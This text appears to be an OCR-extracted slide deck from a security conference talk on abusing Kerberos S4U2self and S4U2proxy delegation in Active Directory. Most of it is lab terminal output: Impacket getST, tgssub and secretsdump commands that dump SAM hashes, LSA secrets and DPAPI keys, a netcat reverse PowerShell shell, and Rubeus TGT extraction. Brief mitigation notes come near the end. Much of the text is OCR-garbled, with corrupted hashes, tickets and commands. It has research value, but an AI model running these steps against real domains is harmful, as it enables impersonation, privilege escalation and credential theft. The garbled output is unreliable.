[*] Using additional ticket domai i f-pc-ked-| I.HACK.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Savmg ucket in domainadmin@cifs_self-pc-kcd@INSOMNI.HACK.ccache

- 19:13:45 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domai i ifs_self-p. .HACK.ccache' -impersonate 'domainadmin' -spn 'cifs/sve1'
i.hack'/'self-pc-kcd$': 'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Using additional ticket domai i ifs_self-p

[*] Requesting S4U2Proxy

[*] Sav1ng t)cket in domainadmin@cifs_svO1QINSOMNI.HACK.ccache
06 (CET)] exegol-insomnihack /workspace # KRBSCCNAME='domainadmindcifs_svO1QINSOMNI.HACK.ccache' secretsdump -k -no-pass ‘insomni.hack'/asvo1
Inpacket v0.9.25. .dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

.HACK.ccache instead of S4U2Self

[*] Service RemoteRegistry is in stopped state

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0x9c6ed5ha9d04147e66d2eee9d29f5c12

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee : 4e2218759b816679e07996cd8adace0s: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0: : :
DefaultAccount:503:aad3b435b51404eeaad3bs35b51404ee : 31d6cfe0d16ae931b73¢59d7e0c089c0: : :
[*] Dumping cached domain logon information (domain/username:hash)

[*] Dumping LSA Secrets

[*] $MACHINE.ACC

INSOMNIHACK\SV01$:plain_p |_hex:5100: 8005300: 005¢
0360073003e002b0077003f0046006c00250042002€00. 3f004f006200710062002c 00: 005200
07800750026003e00 4f BBDBEAGGZBDH3fﬂBZbbﬂk30369ﬂ063006d002780h:004fBDSA@BSkDBZ700&9006Aﬂ559ﬂ077ﬂ551ﬂ0758873ﬂ02589
INSOMNIHACK\SV01$:aad3b435b51404eeaad3bs35b51404ee : 4bf fa64706084c4257cI9415¢7282789: :

[*] DPAPI_SYSTEM

dpapi_machinekey:0x305833085372f f5ceca447eec57c26bbf fab3a3d

dpapi_userkey:0x0439e9633311a5b37c3634bb50eb80a0c18549ef
[*] NL$KM

0000 B8 17 6A 22 A3 E7 15 9C 28 49 64 99 DD 44 35 78
0010 51 9C DO 3E 38 18 66 D7 47 0D 5D FF 4E 50 5F 6C
0020 C6 BO DA 14 5A 6C 69 5F 2B EC C2 CD 6A D9 1E FC
0030 49 D6 52 E4 97 A8 1F 5F 18 29 FA FF BA AB DB 4B 5
NL$KM:b8176a22a3e7159; 35785 1866d: k70d5dffkeSBSf6cc6b0dalksascS‘BSbeecchdGadQlefc49d652e497a81f5leZQfaffbaabdbhb
[*] Cleaning up...

[*] Stopping service RemoteRegistry

5005100200060002700. 000420025002 005f005f002a002b00740

002c002c003b0

=
¢ S4U2self request
for USER to APPO1 1
1
All good, here's a ST 3 1
(USER > 1
S4U2proxy request E
S 1
1
1
All good, here's a ST

(USER -> ) —> .
1
1
1
Access request 1
here's a ST —) 1
(USER -> 1
1
S4U2proxy request 1
r APP03 B 1
(USER > ) 1
1
1

All good, here's a ST
(USER -> APPO3 >

Access request

here'sa ST ~—p
(USER -> APPO: |




Capgominids



> S4U2self still produces ST if user protected against delegation

[Mar 1
Impacket vo 9 25 dev1+20220308 171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Sav1ng t1cket in domalnadmlnaself pc-kcd$QINSOMNI . HACK. ccache

[Mar ] exegol-insomnihack /workspace # getST.py -self -impersonate 'protected_admin'

Impacket v0 9 257 dev1+20220308 171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating protected_admin

[*] Requesting S4U2self
[*] Sav1ng t1cket in protected admin@self-pc-kcd$QINSOMNI.HACK.ccache
[m ( ] exegol-insomnihack /workspace # getST.py -self -impersonate 'sensitive_admin'

Impacket vo 9 25 dev1+20220308 171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating sensitive_admin

[*] Requesting S4U2self

[*] Sav1ng t1cket in sen51t1ve _admin@self-pc-kcd$QINSOMNI.HACK. ccache

)] exegol-insomnihack /workspace # getST.py -self -impersonate 'domainadmin' -dc-ip dc01

-dc-ip dc01 'insomni.hack'/'self-pc-kcd$'

-dc-ip dc@1 'insomni.hack'/'self-pc-kcd$'

[M: 022 - ( ] exegol-insomnihack /workspace # describeTicket 'sensitive_admin@self-pc-kcd$QINSOMNI.HACK.ccache'

Impacket vo. 9 25 dev1+20220308 171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:

[*] Service Realm : INSOMNI.HACK

[*] Start Time : 19/03/2022 20:39:08 PM

[*] End Time : 20/03/2022 06:39:08 AM

[*] RenewTill : 20/03/2022 20:39:10 PM

[*] Flags : (0xal10000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rck4_hmac

[*] Base64(key) : 3F/fHx0pW+nfjDTlrrLNbg==

'insomni.hack'/'self-pc-kcd$': 'baguette’

: 'baguette’

: 'baguette’



> SPN (sname) is not protected

[Mar 19, 2022 - 20:39:10 (CET)] exegol-insomnihack /workspace # describeTicket 'sensitive_admin@self-pc-kcd$QINSOMNI.HACK.ccache®
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Patslng credential[0]:

[*

[*]
[*]
[*] Service Realm
[*] Start Time
[*] End Time

[*] RenewTill : 20/03/2022 20:39:10 PM

[*] Flags : (0xal10000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rch_hmac

[*] Baseb4(key) : 3F/fHx0pW+nfjDTlrriNbg=

[*] Kerberoast hash : $krb5tgs$23$*USERSINSOMNI. HACK$self-pc-ked$*$i 2675ee2dc6: 86 $ 26b11 406 F 1560e75f8acfe98df29d4b5f7aa5378e3d7e1c430

1c05fb2e8af9ec72cf136fd1le36ce3f22edaas53368c71411 7¢74c8b11c3f b «.;~41329d00a120539&11609db8f2c53991d7eGb5a65391Ekd813f3d0610f13113dk7ee58d3622addd

498224682620 f6dd9e53fa115654aabb479795526121a493ca2dd14606e84c38e426bf0864252c1825ch1lee54c3991d599323681d81f9741749a 253a1 2d653e€971768539d7bd2891db44as01bd7e7eaa

4bc3ff181664750bd436aeel1545b 4822 £551543c28: 15d07756d7u. 78592691 1518b3e Fblee6232872cu6b2hec3 fFe8FI9F91900acc Fa9 FadE4F28Fe23955

54e6ad27do: fo55f8f( 3406¢: 282d c5c01f4cafa7ad686a5595e39c06ef53be6“¢001652667990fdc45ffaeﬂof90£8c120-’if9763abd000ecf6

alabdedd31cc5ac0a362527f81f5c3bb5011efc5ead70a5a81944cfb571d: 9edf: 7791~ceﬁshff 38ec. 'd96ae70bc32056: fa02f233ad1d9 bof 1b40cbcefcb4db

903fe02cb2597c074774b6aakaf0311cacd86d15275afces1d: foab2: 233b83e967af5c074c03 dcc39c448cb4a533bcabbl 459fd2501e1906402f8df8cedeb9f88ce

76! c139ff 030fb21ee6d7c638c2b638a52348614648a1l! 3bcl 237f f 23ac7bd1613b1a056b7c47f33449c14bd6365472bc3ef5c1f4028414b926f46a4f
d 294815f; 2ad43f20610572c 1af83668bfes5def69edd34dlea2f77a22e04b965b11314ea7885747e37eac153d7c8dd88aeab4ff8c7ba60b0baa87350c3e0b25f4870999cbdcdf3606de02eab8945

b42€0d42£0b69925526bc3c58f7F4726f314457b4977004dbd87d5e37d01295e3d79402aa04c559e 1ef1a7e088624d1ce5560a8b18a690c6aefc15ad719af03390668C6819cbh1096299e8ed484 2e alcad9012804644537b313cc5ded

78b46834db179d48bd71d7bac379e2e6c29332ffb2c1f4118e022bf69bf8220cba11706256f84a5aaa94e8da5373fb146e6e3630fe338a51c557e271d: €d90f013dda967847dd7b3bf 1 1 38c4l4

556f2f210d60810fad6b99855dc38f4a352583fc99aa7cd11fa66edsc4e62ec27chf76279abddc423a358b0ebe39bfdfc484b750b6dc21deb322def1fd8ecdf2c92741f41896fc42daal59
[*] Decoding unencrypted data in credential[0]['ticket']:

[*] Service Name : self-pc-kcd$

[*] Service Realm : INSOMNI.HACK

[*] Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied

[Mar 19, 2022 - 20:39:19 (CET)] exegol-insomnihack /workspace # tgssub.py -in 'sensitive_admin@self-pc-kcd$QINSOMNI.HACK.ccache' -out 'new_ticket.ccache' -altservice 'cifs/self-pc-kcd'

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1

[*] Changing service from self-pc-kcd$@INSOMNI.HACK to cifs/self-pc-kcd@INSOMNI.HACK

[*] Saving ticket in new_ticket.ccache

[Mar 19, 2022 - 20:41:09 (CET)] exegol-insomnihack /workspace # describeTicket 'new_ticket.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[ ;

insc
[*] Service Realm T INSOMNT. HACK

[*] Start Time : 19/03/2022 20:39:08 PM

[*] End Time : 20/03/2022 06:39:08 AM

[*] RenewTill 1 20/03/2022 20 10 PM

[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac
[*] Base64(key) : 3F/fHx0pW+nfjDTlrrLNbg==



> LPE primitive
> Stealthier Silver Ticket

S4U2self
won't
produce a
forwardable
ticket for
UI()U.‘CI(.‘U users

SPN is
not protected
in the ticket
and can be
changed at will

S4U2self
would still
produce
a ticket with

invalid SPN

SPN is
not protected
in the ticket
and can be
changed at will




> TGT delegation trick

[ ET)] exegol-insomnihack /workspace # nc -lnvp 1337
Ncat: Versmn 7.92 ( https’//nmap org/ncat )

Ncat: Listening on :::1337

Ncat: Listening on 0.0.0.0:1337

Ncat: Connection from 192.168.56.201.

Ncat: Connection from 192.168.56.201:49851.

Windows PowerShell

Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot> whoami

whoami

iis apppool\defaultapppool

PS C:\inetpub\wwwroot> .\Rubeus.exe tgtdeleg /nowrap
.\Rubeus.exe tgtdeleg /nowrap

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com’

[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc@1.insomni.hack’

[+] Kerberos GSS-API initialization success!

[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.

[*] Found the AP-REQ delegation ticket in the GSS-API output.

[*] Authenticator etype: aes256_cts_hmac_shal

[*] Extracted the service ticket session key from the ticket cache: 1QIerFTEPGlvgZMDklLOtYOyRSvZ4ayhRLstMLASydA=
[+] Successfully decrypted the authenticator

[*] base64(ticket.kirbi):

doIFBDCCBQCgAWIBBaEDAGEW00IEDDCCBAhhggQEMITEAKADAGEF0Q4bDELOUGINTkkuSEFDS6TIhMB+gAWIBAQEYMBYbBMtyYnRndBSMSUSTT010SS5IQUNLo4IDXDCCASCEAWIBEQEDAGECO0IDSESCAB5a0b22ZB4yL4k2qCOgTUO09UPUQTY
31Pjv5MIJIG/N7Bq9tLNgg/yAmwMGuQUTLF9thBUEYKQszSWkuLerfE7iLTEQprTORpPwstxuﬂFb3m5K24fMAeqthPEJIbEpZijIhZoUdeZJGzZFX5qumeGBBSQWDijnPngfcEyHR7aGDOpWépZ1m5QB+BGreASGqIXYthrZeDBMiGV
fVjWjXv3gacyZyZgikICKL6pk+K3NIXWP 7mc gev3GAVvoDrwcd5/VQyaD/y+L0InRvxY+onNLCeyf209U0W98+ipB/8+IMGBLGIEQqCL2CVYM5qflrSCg3SIs2Rg0six2qtXh0/yzTFXhe7V7LKkTrj370LV+8
lelo2th3oAIVd0F+8tqFHsGMpADnAZVAHaHWhOLLnyWOZg9IPANQuV30XchKo]0RoE16V1EzZZeCPUSFaVaGGTB}BtFmNbCrSSCVy1bxo3uJNqWS+2mxLSQwK0+atRIXkQT9k02EoZtRLRwIteva'lJXBnISZe7TyrQuTxFAbetUstnSquWXQI
5mY+d953/g2w5MHX/K4NOLI7F7 f5P1G1Ed4RYGIVSLg51aSarOUhYQLWoBHISCx+wzu6rQxxAIcP3CsDty J4FLm+oxYMo4K3YFu9iTqasIGgC6kA7kp8MjFQ13gEroGrFvitDefO2xNiwVwizZSkrpZ+2dB9/HU6MC8bD1Ir+vI/PQvf59HqUrkAKe2F5
TV11Ts37gGEoAcdKisyPjXjIXeRKNMjBK/BHhBYi8RIqMzq1M7Zry6YDKj5dxYeqSms tmOYRHZSN/XiMCppu2HSVAZ/C/aVni jAAT8uPyZYWme3JkKaqbPdg/+gcFqBx tfAfwaGdkbf3AmbyNxIr8khiiH2LhPMSkkaUt3sMItSayeC/+SIfL
afPSahkQUdYo8biIeMWLL4RPTSb90L3p5SramuuQVdG1bohkgVpy239+15QI5vg9IFKrSt2544RdYFI/ANZBiX05At jDghZ61RFBHLMTzpSset7SxIiXHAXxF2fU8aJkWKHe3ROtcmVZZ2/0C1nLnlc/pd8I5Zd8G4tOLSGrodjc+cBFIWSh03Zikk62Qq
3RwaXMwongfeXEMFFNOzbnvx7dztB+ggwM3109DddqAr0+PD6mqbK11q+DChckxJ2iDP7jq6ixoz1lovg3em8GC2XfSgyGbeW2PpNGjgeMwgeCgAWIBAKKB2ASB1X2B0jCBz6CBzDCBY TCBXqArMCmgAwIBEQEiIBCD7S73riuh5KH8F8d232hwXLSdbFY
QsFRORA96GMbUOE6EOGWXITINPTUSILkhBQOU1E jAQOAMCAQGhCTAHGWVTVjAX JKMHAWUAYKEAAKURGA8YMDIyMDMXOTIyMzEyM1qmERgPMjAyMjAZzMjAwWODMXMjNapxEYDzIwMj IwMzI2MjIzMTIzWqg0GwxITINPTUSILkhBQOupITAfoAMCAQKhGD
AWGWZrcmJ0Z3QbDE1OU@INTkkuSEFDSw==
PS C:\inetpub\wwwroot> [




> TGT delegation trick

[Mar 20, 2022 - 01:02:15 (CET)] exegol-insomnihack /workspace # echo 'doIFBDCCBQCgAwIBBaEDAgEW00IEDDCCBAhhggQEMIIEAKADAgEF0Q4bDELOUOINTKkuSEFDS6IhMB+gAWIBAGEYMBYbBmtyYnRndBsMSUSTTO10SS5IQUN
Lo4IDXDCCA8CEAWIBEQEDAGEC00IDSgSCA65a0b2ZB4yL4k2qCOgTUO09uPUQTY31Pjv5MUI6/N7Bq9tLNgg/y4mwM6uQt 7TLFOhsYBUEYKQNZvSWKuLXNrfE71iLTEQyKpTORpPwdDsxu0Fb3m5K24fMAeqhCEPEIIbEp2kjxIb20U9jd2IGZZFX5uKFf
QmGBB59WDTv jnPgCwfcEyHR7aGDOpW6p21m5QB+B6re4SGqIXYRbbrZzeDBMi6VfViWjXv3gacyZyZgikICKL6pk+K3NIXWPEGOHeAcdmE fEKDpgUO7mc2WpON6PNkugOA+gev3GAVvoDrwed5/VQyaD/y+L0InRvxY+onNLCeyf209U0W98+ipB/8+IMq
BLG9EQQCL2CvM5qflrSCg3SIs2Rg0six2qtXh0/yzTFXhe7V7LkTrj370LV+8Qix42f4H30AIVdOF+8tqFHSGMpADNAZVAHaHWhOLLRxyVV02g9IP4NQuY30X6cpKojOROE1I6ViEZZZeCPUSFaVa@GTBH3tFmNbCr8sCVyibxo3uINgWS+2mxL5QwK0+a
tRIXkQT9K02E0ZtRLRwItevwO1IXBnISZe7 TyrQuTxFAxJbtUstn5ukKgWXQISmY+d95j/g2w5SMHX/K4NOLI7F7f5P1G1Ed4RYGIVS5LE51aSarOUhYQLWoBHISCx+wzubrQxxAIcP3CsDty J4FLm+oxYMo4K3YFu9iTqasIGgC6kA7kp8MjFQ13gEroGrF
vJItDef02xNiwVwiZSkrpZ+2dB9/HU6MC8bD1Ir+vI/PQvf59HqUrkAKe2F5TV11Ts37gGEoAcdKisyPjXjIXeRKNMjBK/BHhB9i8RIqMzqlM7Zry6YDK]j5dxYeqSms tmOYRHzSN/XiMCppu2HSVAz/C/aVnijAAT8uPyZYWme3JkKagbPdg/+gcFqBxXp
sOHqot fAfwaGdkbf3AmbyNxIr8khiiH2LhPMSkkaUt3sMIt5ayeC/+SIfLafPSahkQUdYo8biIeMWLL4RPTSb90L3p5ramuuQVdG1bohkgVpy239+15QI5vg9IFKrSt2544RdYFI/ANZBiX05AtjDghZ61RFBHLMTzpSset7SxIiXHAXxF2fU8aJkWKHe3
ROtcmVZZ2/0C1nLnlc/pd8I5Zd8G4tOLSGrodjc+cBFIW5h0IZikk6zQq3RwaXMwongfeXEMFFNOzbnvx7dztB+ggwM3109DddqAr0+PD6mgbK11q+DChckxJ21iDP7jq6ix0z1ovg3em8GC2XfSgyGbeW2PpNGjgeMwgeCgAWIBAKKB2ASB1X2B0jCBz6
CBzDCBYTCBXxqArMCmgAwIBEQEiBCD7S73riuh5KH8F8d232hwXLSdbFYQs FRORd96GmbUOE6EOGwXITINPTUSILkhBQOU1E JAQOAMCAQGhCTAHGWVTV jAX IKMHAWUAYKEAAKURGA8YMDIYMDMXOTIyMzEyM1gmERgPMjAyMjAzMjAwODMXMjNapxEYDzI

wMj TwMzI2MjIzMTIZzWqgOGwx ITLNPTUS ILkhBQOUpITAf0AMCAQKhGDAWGWZrcmI0Z3QbDELOUOINTKkuUSEFDSwW==" | base64 -d > sv01 tgt.kirbi
[Mar 20, 2022 - 01:02:37 (CET)] exegol-insomnihack /workspace # ticketConverter.py sv@1 tgt.kirbi sv@1_tgt.ccache

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] converting kirbi to ccache...

[+] done

[Mar 20, 2022 - 01:02:41 (CET)] exegol-insomnihack /workspace # describeTicket 'sv01_tgt.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:

/ > Name . gt /INSOMNI . HACK
L*] Service Realm : INSOMNI.HACK
[*] Start Time : 19/03/2022 23:31:23 PM
[*x] End Time 1 20/03/2022 09:31:23 AM
[*] RenewTill : 26/03/2022 23:31:23 PM
[*] Flags : (0x60a10000) forwardable, forwarded, renewable, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_shal_96
[*] Base64(key) : +0u964roeSh/BfHdt90cFyOnWXWELBUTkXfehpmiDhM=
[*] Decoding unencrypted data in credential[@]['ticket']:
[*] Service Name : krbtgt/INSOMNI.HACK
[*] Service Realm : INSOMNI.HACK
[*] Encryption type : aes256_cts_hmac_shal_96 (etype 18)

[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_shal_96 (etype 18), but no keys/creds were supplied



> S4U2self abuse

[Mar 20, 2022 - 01:03:45 (CET)] exegol-insomnihack /workspace # KRBSCCNAME='sv@1_tgt.ccache' getST.py -self -impersonate 'sensitive_admin'

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache

[*] Impersonating sensitive_admin

[*] Requesting S4U2self

[*] Changing service from svO1$@INSOMNI.HACK to cifs/svO1@INSOMNI.HACK

[*] Saving ticket in sensitive_admin@cifs_svO1@INSOMNI.HACK.ccache

[Mar 20, 2022 - 01:04:17 (CET)] exegol-insomnihack /workspace # describeTicket 'sensitive_admin@cifs_sv@1@INSOMNI.HACK.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

Number of credentials in cache: 1
Parsing credential[0]:
User Name

r Re

sitive_admin
lm :_insomni.hack

* Name : cifs/svol

*] Service Realm + INSUMNI.HACK

[*] Start Time : 20/03/2022 01

[*] End Time : 20/03/2022 09

[*] RenewTill 1 26/03/2022 23:

[*] Flags : (0x20210000) forwarded, renewable, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_shal_96

[*] Base64(key) : fGI2banrV472ptpyiltUjc7DbWrptB8xn0Id2G0Z6VE=

[-]1 AES256 in use but no '-u/--user' passed, unable to generate crackable hash
[*] Decoding unencrypted data in credential[0]['ticket']:

[*] Service Name : cifs/svo1
[*] Service Realm : INSOMNI.HACK
[*] Encryption type : aes256_cts_hmac_shal_96 (etype 18)

[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_shal_96 (etype 18), but n
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[#] Target system bootKey: 0x9c6ed5ba9d04147e66d2eee9d29f5c12

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee : 4e2a18759b816679e07996cd8adace0!
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0: : :
DefaultAccount:503:aad3b435b5: 35b51404ee:31d6cf 3c59d

[*] Dumping cached domain logon information (domain/username:hash)

[*] Dumping LSA Secrets

[*] $MACHINE.ACC

keys/creds were supplied
[Mar 20, 2022 - 01:04:28 (CET)] exegol-insomnihack /workspace # KRBSCCNAME='sensitive_admin@cifs_svO1QINSOMNI.HACK.ccache' secretsdump -k -no-pass

-altservice 'cifs/sv01' -dc-ip dc@l -k -no-pass 'insomni.hack'/'sv01$'

user sensitive
for delegation

and usable

INSOMNIHACK\SVO1$:plain_ _hex:51004 005 300 005c 700 100

00250042002€003 3f004006200710062002 10045001 002d!

002c002c003b0078007!

ticket obtained anyway

*insomni.hack'/@svo1l

005f005f002a2002b007400360073003e002b0077003f0046006C
2 20003

4f

f002b004300690063006d0027004c00400540054002700490064005¢0077005100760078002500
INSOMNIHACK\SV01$:aad3b435b51404eeaad3b435b51404ee : 4bffa64706084c4257c99415c7282789: : :
[*] DPAPI_SYSTEM

dpapi_machinekey:0x305833085372ff5cecas47eec57c26bbffab3a3d
dpapi_userkey:0x0439e9633311a5b37¢c3634bb50eb80a0c18549ef

[*] NL$KM

0000 B8 17 6A 22 A3 E7 15 9C 28 49 64 99 DD 44 35 78 .(Id..D5x

0010 51 9C D@ 3E 38 18 66 D7 47 0D 5D FF 4E 50 5F 6C  Q..>8. f G.1.NP_L

0020 C6 BO DA 14 5A 6C 69 5F 2B EC C2 CD 6A D9 1E FC
0030 49 D6 52 E4 97 A8 1F 5F 18 29 FA FF BA AB DB 4B I.R Do

NL$KM: b817632233e7159c28b96k99ddhlo3578519cd039381866d7h70dSdffl.esosf&ccsbadal 2becc2cd6ad9ief 2e497a81f5f1829faff b
[*] Cleaning up...




forged PAC

needs knowledge of the service account LT key
Service Ticket with forged PAC (any user, any SPN)
primitive is fairly understood, and monitored

legitimate request
needs same knowledge as Silver Ticket (LT key)
Service Ticket with legitimate PAC
any user,
any SPN of target service,
primitive is less understood, not monitored as much




Capgominids



> the forwardable flag is not protected, why not overwrite it?

[Mar 18, 2 9:26:12 (CET)] exegol-insomnihack /workspace # rbcd.py -delegate-to 'self-pc-rbcd$
Impacket vB 9.25. dev1-r20220308 171024 .317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Accounts allowed to act on behalf of other identity:

[*] self-pc- rbcd$ (S-1-5-21-233002512-923668061-1685098237-1112)

[Mar 18, 2022 - 19:26:24 (CET)] exegol-insomnihack /workspace # getST.py -self -impersonate 'domain:
Impacket v0.9.25. dev1+20220308 171024 .317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating domainadmin

[*] Requesting S4U2self
[*] Saving ticket in domainadmin@self-pc-rbcd$@INSOMNI.HACK.ccache
[Mar 18, 2022 - 19:26:32 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation
[*] Number of credentials in cache: 1

[*] Parsing credential[0]:

" % | ) r 1

[*] Service Realm 2 INSOMNI HACK

[*] Start Time : 18/03/2022 19:26:32 PM

[*] End Time : 19/03/2022 05:26:32 AM

[*] RenewTill : 19/03/2022 19:26:32 PM

[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac

[*] Base64(key) : kPx1rvUNZPzvB7URZ4Cavw==




> how to mitigate?

Microsoft Docs Documentation Learn Q&A Code Samples Shows Events

Open Specifications Specifications v Dev Center EventsZ  Test Support Programs Patents Blog v

Docs

el 5.1 Security Considerations for Implementers

Open Specifications Article + 04/07/2021 + 2 minutes to read &6

v Protocols

Protocol The S4U2self extension allows a service to obtain a service ticket to itself on behalf of a user. This extension is used to

obtain authorization data for the user to allow the service to make access control decisions on the local system. As such,
the service has to adequately authenticate the user before obtaining the service ticket.

~ Windows Protocols
Windows Protocols
v Technical Documents The S4U2proxy extension allows a service to obtain a service ticket to a second service on behalf of a user. When
Tethnical Docaments combined with S4U2self, this allows the first service to impersonate any user principal while accessing the second service.
This gives any service allowed access to the S4U2proxy extension a degree of power similar to that of the KDC itself. This
implies that each of the services allowed to invoke this extension have to be protected nearly as strongly as the KDC and
the services are limited to those that the implementer knows to have correct behavior.

~ [MS-SFU]J: Kerberos Protocol Extensions: Service for
User and Constrained Delegation Protocol
[MS-SFUJ: Kerberos Protocol Extensions: Service for
User and Constrained Delegation Protocol A service can confirm that the service ticket did not originate from the client by the S4UTransitedServices field in the
> 1 Introduction S4U_DELEGATION_INFO structure (see [MS-PAC] section 2.9).
> 2 Messages
> 3 Protocol Details
> 4 Protocol Examples
v 5 Security
5 Security
5.1 Security Considerations for Implementers
5.2 Index of Security Parameters
6 Appendix A: Product Behavior
7 Change Tracking
8 Index



> you showed abuse from UNIX, how-to from Windows?

Impacket’s describeTicket.py Rubeus' describe Impacket's getST.py Rubeus' s4u
file.ccache <base64 | file.kirbi>
servicedomain servicedomain user user
serviceuser serviceuser file.ccache <base64 | file.kirbi>
servicepass class/name class/name
servicehexpass class[/name] [ESIVAELE
HASH or HASH HASH (w/ env. var. file.ccache set) <base64 | file.kirbi>
SALT domaincontroller domaincontroller
HASH HASH [LMHASH] : NTHASH RC4
HASH <AES128 | AES256> AES256
part domain
part user
part
Impacket's tgssub.py Rubeus' tgssub

file.ccache
file.ccache
class[/name]

<base64 | file.kirbi>

class[/name]



> (Rubeus example) S4U2proxy abuse - Double KCD (1/4)
> S4U2self

[*] Action: s4u

*] Usin g rc4_hmac hash: 7807ESEDSA(EBEZAS(4JEF1D]AHD]GS
1 x.m ling AS-REQ (w/_preauth) for: 'insomni.hack\self-pc-kcd-pt$'
1 Using domain controller: 192.168.56.101:88
uest successful!
1] bty

ulFKDCCESSgAw!BEaEDAngou!EN]CCEDJhgg}uMIIEKqADAgEFoQAhDE'IOUDQNTkkuSEFDSSIMmgAwIBAqEVMBVmetyvanstMawSzbZluaSSovarMIDhCCMquwIGEqEDA ECO0TD3ASC i 3a20CHOKCXFXaPBEHC RpNW7hZ3COY9TZY6C
Y0L2vyC0o/afIC T2VBStaFoBHr tHiuA0C AL IS snsNsru:smygqbv:xmasvmnmmmmuzbuqxavszpm)Aszx7wN1nyeup/owans;-mquhsvwmo,xmhmmqvfd Ty7bysUFTpdymer obir qQUPAKITOE xyxnL y1pi7nTQ resth
zUpgBhoKIGSd/ 26Ad0gOXRE: 3/5iEia 0aC JuhoLy
/C FGNVJ!thUBJIn(xnuunzslrc)hr /240 /EL q]sPrpvsz i jpLazfC 3 /nooDnk11+8h13c6bhtz
Yas3po 03P L TbaGNEuISESERYED] 1G5 1CTE T3 deaw qGHSNad68 gHDYLUNO1 /L B Q64213 /KKn7kFYP
mfmkukmwamkhzsoaqumc q k i P yc.nEPrmcﬁdEf /s H pIT63h5AUS cocwSbmN b, 37
ms-mmvmakmwomfumswsnswwsn;oh/wxwrswm 4hNAe] ByaCBx]CBzC: eg+qfI0Q4bDE
AByMDIyMDM, 3 TWMZI3MTYwNDI 1WqgOGwxJT INPTUSILkhBQOUPTTAF 0ANC Jaw==
[#] Action: sdu
[£] Building squzself request for: self-pe-ked-pEsOINSOMNE.HACK"
] Using domain controller: 192.168.56.101
] Sendm? S4U2self request to 192.168.56.101:88
+] S4U2self success!
] Got a 1G5 for 'domainadmin’ to 'self-pc-kcd-ptSEINSOMNI . HACK'
4] Eokebattrchen kirm"
1 CaF 1hggRZM I gQa0n BAWEQQQL, 8L1EA77509h4L i Reghyzcdsed
UT]nthvam\/EKxx(qszDApr(wzFMm i rbm/9M) g mEudNpIhK 3t 12 syul SKp+3EN
XTWA45140QTWAT/. 37Ssewn8/1 Fi i Ttoh7{+3U0p: \TSEJuyFERG0 g+ Opet jiis forwczras mLxﬂc«(%t%nnu%kr]mpsh
TZQxE jCmp1] q8KTALKBS2Za03: g 3/ Ft prtu'

/b87¢cv/’
w.zzzxmJvmnsmvnkaom N TRk o] U ONIE TV o

£VXQIShsXr
UTIPUTTOTEGNKNUN /X WpBgmATH¥CeY 7T 2PK2 Two  SYPVGAL KWXUUE FCHEEHOAHTSOTeUS 21

0ui GDAWGAMCAQ@hDZANGwtkb2 1haShZG1pbqHHAWUAKEAAKURGASyMDTyMOMYHOE

:/qwmr1o7kxsalzzshm1pmmn(hvsxwawwku
fuolxmg«kFfcxovcmzswl/uvxk3vanvk]gdkwy9>.fvsdumsnmxmmzn\regzsr]pwtnfmcmmgzrszfemymamssmmmzAruAa(sxms oaHMIH
Tt

